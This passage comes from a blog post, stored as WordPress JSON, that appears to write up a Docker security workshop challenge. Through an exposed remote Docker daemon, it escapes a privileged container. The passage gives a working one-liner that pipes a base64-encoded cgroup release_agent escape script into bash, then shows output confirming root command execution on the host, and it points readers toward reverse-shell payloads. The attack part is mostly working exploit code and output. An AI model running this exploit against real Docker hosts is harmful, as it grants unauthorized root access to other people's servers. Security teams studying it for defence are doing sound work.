SYS_ADMIN.<\/p>\n<p>A container would be vulnerable to this technique if run with the flags: <code>--security-opt apparmor=unconfined --cap-add=SYS_ADMIN<\/code>.<\/p>\n<p>So the command would look like this:<\/p>\n<pre lang=\"bash\">\n$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash\n<\/pre>\n<h2><span class=\"ez-toc-section\" id=\"executing_the_attack\"><\/span>Executing the Attack<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Now we execute everything in a nice one liner bundle:<\/p>\n<pre lang=\"bash\">\nubuntu@ip-10-42-2-129:~$ export DOCKER_HOST=tcp:\/\/10.42.2.77:2376\nubuntu@ip-10-42-2-129:~$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo \"cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq\/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK\" | base64 -d | bash -'\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001\n        inet 10.42.2.77  netmask 255.255.255.0  broadcast 10.42.2.255\n        inet6 fe80::36:7fff:fe79:376e  prefixlen 64  scopeid 0x20<link>\n        ether 02:36:7f:79:37:6e  txqueuelen 1000  (Ethernet)\n        RX packets 97631  bytes 72611082 (72.6 MB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 91094  bytes 5847217 (5.8 MB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nip-10-42-2-77\nuid=0(root) gid=0(root) groups=0(root)\nroot     21756  0.0  0.0   4628   796 ?        S    08:04   0:00 sh \/runme.sh\nroot     21771  0.0  0.1  11464  1012 ?        S    08:04   0:00 grep runme.sh\n\u2022?((\u00af\u00b0\u00b7._.\u2022 profit! \u2022._.\u00b7\u00b0\u00af))\u00df\u2022\nubuntu@ip-10-42-2-129:~$\n<\/pre>\n<p>Profit! Notice how the command was executed as a low privileged account but by exploiting the open docker port we were able to run a command as root in the remote server. My recommendation is to use <a href=\"https:\/\/www.metasploit.com\/\" rel=\"noopener noreferrer\" target=\"_blank\">Metasploit<\/a> to create a reverse shell or even use a rever shell from <a href=\"https:\/\/github.com\/swisskyrepo\" rel=\"noopener noreferrer\" target=\"_blank\">swisskyrepo<\/a>&#8216;s <a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\" rel=\"noopener noreferrer\" target=\"_blank\">PayloadsAllTheThings<\/a> Github repository.<\/p>\n<h1><span class=\"ez-toc-section\" id=\"references\"><\/span>References<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p><a name=\"ref_1\"><\/a>1.- <a href=\"https:\/\/blog.trailofbits.com\" rel=\"noopener noreferrer\" target=\"_blank\">Trail of Bits Blog<\/a>, <a href=\"https:\/\/blog.trailofbits.com\/2019\/07\/19\/understanding-docker-container-escapes\/\" rel=\"noopener noreferrer\" target=\"_blank\">Understanding Docker Container Escapes<\/a>, Visited: March 17, 2020.<\/p>\n<p>Happy Hacking!<br \/>\n<em>Adrian Puente Z.<\/em><\/p>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>The following is a write up for a challenge given during a Docker security workshop in the company I work for. It was a lot of fun and ironically I managed to complete the challenge not exactly how they were &hellip; <a href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[83,2,84,8],"tags":[86,85,80,88,89],"class_list":["post-586","post","type-post","status-publish","format-standard","hentry","category-ctf","category-code","category-docker","category-hacking","tag-ctf","tag-docker","tag-hacking","tag-privilege_escallation","tag-remote_exec"],"_links":{"self":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/586","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/comments?post=586"}],"version-history":[{"count":50,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/586\/revisions"}],"predecessor-version":[{"id":796,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/586\/revisions\/796"}],"wp:attachment":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/media?parent=586"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/categories?post=586"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/tags?post=586"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}